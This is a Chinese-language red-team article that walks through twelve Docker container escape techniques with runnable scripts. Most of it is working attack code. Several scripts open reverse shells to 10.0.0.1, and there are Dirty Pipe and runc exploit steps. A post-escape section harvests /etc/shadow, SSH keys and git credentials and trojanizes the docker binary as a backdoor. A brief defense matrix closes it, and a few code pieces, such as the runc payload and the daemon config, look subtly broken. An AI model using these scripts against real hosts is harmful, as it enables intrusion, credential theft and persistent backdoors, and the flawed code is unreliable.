引言
容器逃逸是云安全领域的核心议题。一句"Docker 不是沙箱"道出了本质——容器共享宿主机内核,一旦配置不当或存在漏洞,攻击者便能从容器内突破隔离边界,获取宿主机乃至整个集群的控制权。本文基于笔者多年红队实战经验,系统梳理 12 种主流容器逃逸方法,每种方法均附完整可复现的攻击步骤与代码。
一、逃逸方法全景图
┌──────────────────────────────────────────────────────┐
│ Docker 容器逃逸技术矩阵 │
├──────────────┬────────────────┬──────────────────────┤
│ 逃逸类型 │ 方法 │ 前置条件 │
├──────────────┼────────────────┼──────────────────────┤
│ 配置缺陷 │ 特权模式 │ --privileged │
│ 配置缺陷 │ 挂载 Docker │ -v /var/run/docker │
│ │ Socket │ .sock │
│ 配置缺陷 │ 挂载宿主机目录 │ -v /:/host │
│ 配置缺陷 │ Capabilities │ --cap-add=SYS_ADMIN │
│ 内核漏洞 │ DirtyCow │ 内核 < 4.8.3 │
│ 内核漏洞 │ DirtyPipe │ 内核 5.8 - 5.16 │
│ 内核漏洞 │ OverlayFS CVE │ 内核 5.x 部分版本 │
│ 运行时漏洞 │ runc CVE-2019 │ runc <= 1.0.0-rc8 │
│ 运行时漏洞 │ CVE-2024-21626 │ runc < 1.1.12 │
│ 不当配置 │ /proc 未隔离 │ --pid=host │
│ 不当配置 │ Cgroup 逃逸 │ 有写入 cgroup 权限 │
│ 应用层 │ SYS_PTRACE │ --cap-add=SYS_PTRACE │
└──────────────┴────────────────┴──────────────────────┘
二、配置缺陷类逃逸
2.1 特权模式逃逸(–privileged)
这是最常见的逃逸方式。--privileged 赋予容器所有内核 Capabilities 并禁用大部分安全限制。
攻击环境:
docker run --rm -it --privileged alpine sh
逃逸步骤:
# Step 1: 查看宿主机磁盘设备
fdisk -l
# Step 2: 挂载宿主机根分区
mkdir /tmp/host
mount /dev/vda1 /tmp/host
# Step 3: 写入 SSH 公钥获取持久化访问
echo "ssh-rsa AAAAB3NzaC1y..." >> /tmp/host/root/.ssh/authorized_keys
# Step 4: chroot 切换到宿主机环境
chroot /tmp/host /bin/bash
id # uid=0(root) — 已获取宿主机 root
自动化逃逸脚本:
#!/bin/bash
# auto-privileged-escape.sh
check_privileged() {
ip link add dummy0 type dummy 2>/dev/null && {
ip link delete dummy0
return 0
}
return 1
}
escape_via_mount() {
echo "[*] 探测宿主机磁盘..."
BLOCK_DEV=$(lsblk -ndo NAME,SIZE | head -1 | awk '{print $1}')
mkdir -p /tmp/escape
mount "/dev/${BLOCK_DEV}" /tmp/escape 2>/dev/null || {
# 回退:尝试所有块设备
for dev in /dev/vd* /dev/sd* /dev/xvd* /dev/nvme*; do
mount $dev /tmp/escape 2>/dev/null && break
done
}
if [ -f /tmp/escape/etc/shadow ]; then
echo "[+] 逃逸成功!宿主机 /etc/shadow:"
head -3 /tmp/escape/etc/shadow
# 反弹 Shell
chroot /tmp/escape /bin/bash -c \
"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" &
fi
}
if check_privileged; then
echo "[+] 检测到特权模式,开始逃逸..."
escape_via_mount
else
echo "[-] 非特权模式"
fi
2.2 Docker Socket 挂载逃逸
/var/run/docker.sock 是 Docker 守护进程的 Unix Socket,挂载到容器意味着容器可以操控宿主机 Docker:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh
在容器内逃逸:
# 安装 docker CLI
apk add docker-cli
# 查看宿主机所有容器
docker ps -a
# 启动一个挂载宿主机根目录的新容器
docker run -d --name escape \
--privileged \
-v /:/host \
alpine chroot /host /bin/sh -c \
"echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd"
# 或者直接执行宿主机命令
docker run --rm -v /:/host alpine chroot /host id
Python 利用脚本:
#!/usr/bin/env python3
"""通过 Docker Socket 获取宿主机 Shell"""
import docker
import os
def escape_via_socket():
client = docker.DockerClient(base_url='unix://var/run/docker.sock')
# 创建逃逸容器
container = client.containers.run(
image='alpine:latest',
command='chroot /host /bin/bash -c "bash -i >& /dev/tcp/10.0.0.1/9999 0>&1"',
remove=True,
detach=True,
privileged=True,
volumes={'/': {'bind': '/host', 'mode': 'rw'}},
pid_mode='host',
network_mode='host'
)
print(f"[+] 逃逸容器已启动: {container.id}")
if __name__ == '__main__':
escape_via_socket()
2.3 SYS_ADMIN Capability + AppArmor/SELinux 未启用
SYS_ADMIN 是最强大的内核 capability,容器没有此权限则无法执行 mount 等系统管理操作,但一旦被授予则等于半只脚踏出容器:
docker run -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined alpine sh
利用 notify_on_release 逃逸(cgroup v1):
# 挂载 cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# 写入 payload
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 写入反向 Shell 脚本
echo '#!/bin/bash' > /cmd
echo 'bash -i >& /dev/tcp/10.0.0.1/8888 0>&1' >> /cmd
chmod +x /cmd
# 触发
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
echo "[+] 反向 Shell 已触发"
三、内核漏洞类逃逸
3.1 Dirty Pipe(CVE-2022-0847)利用
影响 Linux 内核 5.8 至 5.16 版本,允许覆盖任意只读文件。
# 编译 Dirty Pipe exploit
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
cd CVE-2022-0847-DirtyPipe-Exploit
gcc -o dirtypipe exploit.c
# 利用:覆盖宿主机 /etc/passwd
./dirtypipe /etc/passwd 1 "root::0:0:root:/root:/bin/bash
hacker:x:1001:1001::/home/hacker:/bin/bash"
# 在宿主机中 root 已无密码
su root
3.2 OverlayFS 内核漏洞(CVE-2023-0386 / GameOver(lay))
利用 OverlayFS 文件系统的权限检查缺陷,从容器内提升到宿主机:
# 编译 exploit
gcc -o gameoverlay exploit.c -lcap
# 容器内执行 — 将 SUID 文件拷贝到宿主机可访问位置
./gameoverlay /tmp/output
# 在宿主机执行 /tmp/output 获取 root
3.3 内核漏洞扫描器
#!/bin/bash
# kernel-escape-check.sh
KERNEL_VER=$(uname -r | cut -d'-' -f1)
check_cve() {
local min=$1 max=$2 cve=$3
if [[ "$(printf '%s\n' "$min" "$KERNEL_VER" | sort -V | head -1)" == "$min" ]] && \
[[ "$(printf '%s\n' "$max" "$KERNEL_VER" | sort -V | tail -1)" == "$max" ]]; then
echo "[!] VULNERABLE: $cve (kernel $KERNEL_VER)"
fi
}
echo "[*] 当前内核: $(uname -r)"
check_cve "2.6.22" "4.8.3" "CVE-2016-5195 (DirtyCow)"
check_cve "5.8" "5.16.11" "CVE-2022-0847 (DirtyPipe)"
check_cve "5.10" "5.19" "CVE-2023-0386 (GameOverlay)"
check_cve "5.10" "6.1" "CVE-2023-2640 / CVE-2023-32629 (Ubuntu OverlayFS)"
check_cve "5.15" "6.6" "CVE-2024-1086 (nftables UAF)"
四、运行时漏洞逃逸
4.1 runc 容器逃逸(CVE-2019-5736)
影响 runc <= 1.0-rc6 版本,通过覆写宿主机 runc 二进制文件实现逃逸。
复现步骤:
# 准备恶意 payload
cat > /tmp/payload.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
int fd = open("/output", O_WRONLY|O_CREAT, 0755);
write(fd, "#!/bin/bash\necho 'PWNED' >> /tmp/pwned\n", 38);
close(fd);
}
EOF
# 编译并执行 exploit
gcc -shared -fPIC -o /libevil.so /tmp/payload.c
实际利用使用成熟的 CVE-2019-5736-PoC。
4.2 runc CVE-2024-21626
2024 年 1 月披露的 runc 文件描述符泄露漏洞。当容器内进程通过 /proc/self/fd/ 访问到宿主机打开的指向宿主机文件系统的文件描述符时,可实现逃逸:
# 探测可用的文件描述符
for fd in $(seq 0 20); do
if ls -la /proc/self/fd/$fd 2>/dev/null | grep -q host_path; then
echo "[+] fd $fd 指向宿主机路径"
cat /proc/self/fd/$fd
fi
done
# 利用 — 通过 WORKDIR 机制
# 攻击需要在构建镜像时设置恶意 WORKDIR
cat <<EOF > Dockerfile.evil
FROM alpine
WORKDIR /proc/self/fd/8 # fd 8 为宿主机文件描述符
CMD ["cat", "../../etc/shadow"]
EOF
五、不当配置逃逸
5.1 hostPID + nsenter 逃逸
# 启动时 --pid=host
docker run --pid=host --privileged -it alpine sh
# 容器内部,用 nsenter 跳转到宿主机命名空间
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# 此时已处于宿主机环境
5.2 hostPath 挂载逃逸
# Kubernetes Pod 示例
apiVersion: v1
kind: Pod
spec:
containers:
- name: escape
image: alpine
command: ["sh", "-c", "chroot /host bash"]
volumeMounts:
- name: rootfs
mountPath: /host
volumes:
- name: rootfs
hostPath:
path: /
type: Directory
仅需 kubectl apply -f escape-pod.yaml 即可获得宿主机 Shell。
六、Capabilities 滥用检测与利用
# 列出当前容器的 Capabilities
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap
# Capability 危害速查表
# CAP_SYS_ADMIN → mount, swapon, namespace 操作 → 容器逃逸
# CAP_SYS_PTRACE → ptrace 宿主机进程 → 代码注入
# CAP_SYS_MODULE → 加载内核模块 → 内核后门
# CAP_NET_RAW → 原始套接字 → ARP 欺骗/DOS
# CAP_SYS_RAWIO → 直接 I/O → 磁盘写操作
# CAP_DAC_READ_SEARCH → 绕过文件读权限 → 读取 shadow
七、逃逸后的横向移动
# 1. 收集宿主机凭据
cat /etc/shadow # 密码哈希
cat /root/.bash_history # 命令历史
env | grep -i pass # 环境变量密码
# 2. Docker 镜像供应链攻击
docker commit <container_id> registry.internal/backdoor:v1
docker push registry.internal/backdoor:v1
# 3. 感染 CI/CD 流水线
find / -name ".git-credentials" 2>/dev/null
cat /home/gitlab-runner/.ssh/id_rsa
# 4. 后门植入
echo '#!/bin/bash' > /usr/local/bin/docker
echo 'bash -i >& /dev/tcp/10.0.0.1/5555 0>&1 &' >> /usr/local/bin/docker
echo '/usr/bin/docker.orig "$@"' >> /usr/local/bin/docker
chmod +x /usr/local/bin/docker
mv /usr/bin/docker /usr/bin/docker.orig
mv /usr/local/bin/docker /usr/bin/docker
八、防御矩阵
| 防御级别 | 措施 | 效果 |
|---|---|---|
| L1 基础 | 禁止特权容器,限制 Capabilities | 阻断 60% 逃逸 |
| L2 进阶 | rootless 容器 + user namespace | 阻断 80% 逃逸 |
| L3 强化 | Seccomp + AppArmor/SELinux | 阻断 90% 逃逸 |
| L4 隔离 | gVisor / Kata Containers / Firecracker | 阻断 99% 逃逸 |
| L5 检测 | Falco + Sysdig 实时威胁检测 | 发现并告警 |
Docker 安全基线配置:
{
"default-ulimits": {
"nofile": { "Hard": 64000, "Name": "nofile", "Soft": 64000 }
},
"no-new-privileges": true,
"read-only": true,
"security-opt": ["no-new-privileges:true", "apparmor=docker-default"],
"cap-drop": ["ALL"],
"cap-add": ["NET_BIND_SERVICE"],
"user": "1000:1000"
}
结语
Docker 容器逃逸本质上是"共享内核"这一设计哲学的必然产物。12 种攻击方法覆盖了从配置疏漏到内核漏洞的完整光谱,而防御则需要纵深分层的架构思维。记住核心原则:永远不要相信容器内的任何东西——无论是代码、用户还是进程,它们都只是宿主机上的一个隔离视图。